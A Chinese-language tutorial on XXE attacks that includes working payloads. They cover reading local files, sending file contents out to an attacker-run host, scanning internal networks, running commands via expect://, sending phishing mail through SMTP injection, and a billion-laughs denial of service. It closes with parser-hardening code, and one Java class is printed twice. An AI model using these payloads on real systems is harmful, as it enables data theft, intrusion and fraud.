本篇总结归纳XXE漏洞
普通的XML注入
XML外部实体(XML External Entity, XXE)
XML,一种非常流行的标记语言
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
1,元素 元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的 实例:
<body>body text in between</body>
<message>some message in between</message>
空的 HTML 元素的例子是 “hr”、“br” 以及 “img”
2,属性 属性可提供有关元素的额外信息 实例:
<img src="computer.gif" />
3,实体 实体是用来定义普通文本的变量 实体引用是对实体的引用
4,PCDATA PCDATA 的意思是被解析的字符数据(parsed character data) PCDATA 是会被解析器解析的文本,这些文本将被解析器检查实体以及标记
5,CDATA CDATA 的意思是字符数据(character data) CDATA 是不会被解析器解析的文本
DTD(文档类型定义)
1,内部声明:<!DOCTYPE 根元素 [元素声明]>
ex: <!DOCTYOE test any>
实例
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
2,外部声明(引用外部DTD):<!DOCTYPE 根元素 SYSTEM "文件名">
ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
实例
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
note.dtd的内容为:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
DTD实体
1,内部实体
ex:<!ENTITY eviltest "eviltest">
实例
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>
2,外部实体
实例
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;©right;</author>
3、一般实体
&实体名
实例
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
4、参数实体
% 实体名
(这里面空格不能少)% 实体名
引用实例
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
有问题的xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
1、直接通过DTD外部实体声明
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
声明引入外部实体声明
想调取test.txt
若直接通过DTD外部实体声明会报错 要用到CDATA和参数实体
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
在某些情况下,即便服务器可能存在XXE,也不会向攻击者的浏览器或代理返回任何响应 遇到这种情况,我们可以使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据
有问题的xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
在各个平台能用的协议
其中PHP在安装扩展后还能支持以下这些协议
以存在 XXE 漏洞的服务器为我们探测内网的支点
准备工作
一个脚本
import requests
import base64
#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>
def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)
def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue
可以使用http URI并强制服务器向我们指定的端点和端口发送GET请求,将XXE转换为SSRF 以下代码将尝试与端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2020-11-11</date>
<description>&xxe;</description>
</core>
</catalog>
可以将请求的端口作为 参数 然后利用 burp 的 intruder 来帮我们探测
PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上 就可以执行如下的命令:
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2020-11-11</date>
<description>&xxe;</description>
</core>
</catalog>
Java 中有一个比较神奇的协议 jar:// 能从远程获取 jar 文件,然后将其中的内容进行解压
jar:{url}!{path}
jar:http://host/application.jar!/file/within/the/zip
这个 ! 后面就是其需要从中解压出的文件
先在本地模拟一个存在 XXE 的程序
xml_test.java
package xml_test;
import java.io.File;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Attr;
import org.w3c.dom.Comment;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
/**
* 使用递归解析给定的任意一个xml文档并且将其内容输出到命令行上
* @author zhanglong
*
*/
public class xml_test
{
public static void main(String[] args) throws Exception
{
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new File("student.xml"));
//获得根元素结点
Element root = doc.getDocumentElement();
parseElement(root);
}
private static void parseElement(Element element)
{
String tagName = element.getNodeName();
NodeList children = element.getChildNodes();
System.out.print("<" + tagName);
//element元素的所有属性所构成的NamedNodeMap对象,需要对其进行判断
NamedNodeMap map = element.getAttributes();
//如果该元素存在属性
if(null != map)
{
for(int i = 0; i < map.getLength(); i++)
{
//获得该元素的每一个属性
Attr attr = (Attr)map.item(i);
String attrName = attr.getName();
String attrValue = attr.getValue();
System.out.print(" " + attrName + "=\"" + attrValue + "\"");
}
}
System.out.print(">");
for(int i = 0; i < children.getLength(); i++)
{
Node node = children.item(i);
//获得结点的类型
short nodeType = node.getNodeType();
if(nodeType == Node.ELEMENT_NODE)
{
//是元素,继续递归
parseElement((Element)node);
}
else if(nodeType == Node.TEXT_NODE)
{
//递归出口
System.out.print(node.getNodeValue());
}
else if(nodeType == Node.COMMENT_NODE)
{
System.out.print("<!--");
Comment comment = (Comment)node;
//注释内容
String data = comment.getData();
System.out.print(data);
System.out.print("-->");
}
}
System.out.print("</" + tagName + ">");
}
}
package xml_test;
import java.io.File;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Attr;
import org.w3c.dom.Comment;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
/**
* 使用递归解析给定的任意一个xml文档并且将其内容输出到命令行上
* @author zhanglong
*
*/
public class xml_test
{
public static void main(String[] args) throws Exception
{
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new File("student.xml"));
//获得根元素结点
Element root = doc.getDocumentElement();
parseElement(root);
}
private static void parseElement(Element element)
{
String tagName = element.getNodeName();
NodeList children = element.getChildNodes();
System.out.print("<" + tagName);
//element元素的所有属性所构成的NamedNodeMap对象,需要对其进行判断
NamedNodeMap map = element.getAttributes();
//如果该元素存在属性
if(null != map)
{
for(int i = 0; i < map.getLength(); i++)
{
//获得该元素的每一个属性
Attr attr = (Attr)map.item(i);
String attrName = attr.getName();
String attrValue = attr.getValue();
System.out.print(" " + attrName + "=\"" + attrValue + "\"");
}
}
System.out.print(">");
for(int i = 0; i < children.getLength(); i++)
{
Node node = children.item(i);
//获得结点的类型
short nodeType = node.getNodeType();
if(nodeType == Node.ELEMENT_NODE)
{
//是元素,继续递归
parseElement((Element)node);
}
else if(nodeType == Node.TEXT_NODE)
{
//递归出口
System.out.print(node.getNodeValue());
}
else if(nodeType == Node.COMMENT_NODE)
{
System.out.print("<!--");
Comment comment = (Comment)node;
//注释内容
String data = comment.getData();
System.out.print(data);
System.out.print("-->");
}
}
System.out.print("</" + tagName + ">");
}
}
建立一个 xml 文件
test.xml
<!DOCTYPE convert [
<!ENTITY remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php">
]>
<convert>&remote;</convert>
9999 端口上放一个用 python 写 TCP 服务器
sever.py
import sys
import time
import threading
import socketserver
from urllib.parse import quote
import http.client as httpc
listen_host = 'localhost'
listen_port = 9999
jar_file = sys.argv[1]
class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
http_req = b''
print('New connection:',self.client_address)
while b'\r\n\r\n' not in http_req:
try:
http_req += self.request.recv(4096)
print('Client req:\r\n',http_req.decode())
jf = open(jar_file, 'rb')
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''')
self.request.sendall(headers.encode('ascii'))
self.request.sendall(contents[:-1])
time.sleep(30)
print(30)
self.request.sendall(contents[-1:])
except Exception as e:
print ("get error at:"+str(e))
if __name__ == '__main__':
jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')
server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True
server_thread.start()
server_thread.join()
通过报错找到临时文件的路径 然后可以操作了
可以参考一道 LCTF 2018 的 ctf题
如果内网有一台易受攻击的 SMTP 服务器,我们就能利用 ftp:// 协议结合 CRLF 注入向其发送任意命令,也就是可以指定其发送任意邮件给任意人
Java支持在sun.net.ftp.impl.FtpClient中的ftp URI 因此,我们可以指定用户名和密码,例如ftp://user:password@host:port/test.txt,FTP客户端将在连接中发送相应的USER命令
但是如果我们将%0D%0A (CRLF)添加到URL的user部分的任意位置,我们就可以终止USER命令并向FTP会话中注入一个新的命令,即允许我们向25端口发送任意的SMTP命令
示例代码:
ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25
当FTP客户端使用此URL连接时,以下命令将会被发送给VULNERABLESYSTEM.com上的邮件服务器:
示例代码:
ftp://a
EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25
这意味着攻击者可以从从受信任的来源发送钓鱼邮件(例如:帐户重置链接)并绕过垃圾邮件过滤器的检测。除了链接之外,甚至我们也可以发送附件
示例代码:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
XXE经常就出现在 api 接口能解析客户端传过来的 xml 代码,并且直接外部实体的引用
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}
现在我们尝试将 Content-Type 修改为 application/xml HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
可以发现服务器端是能处理 xml 数据的,于是我们就可以利用这个来进行攻击
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
主要是使用语言中推荐的禁用外部实体的方法
libxml_disable_entity_loader(true);
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
对XXE做了个归纳
参考
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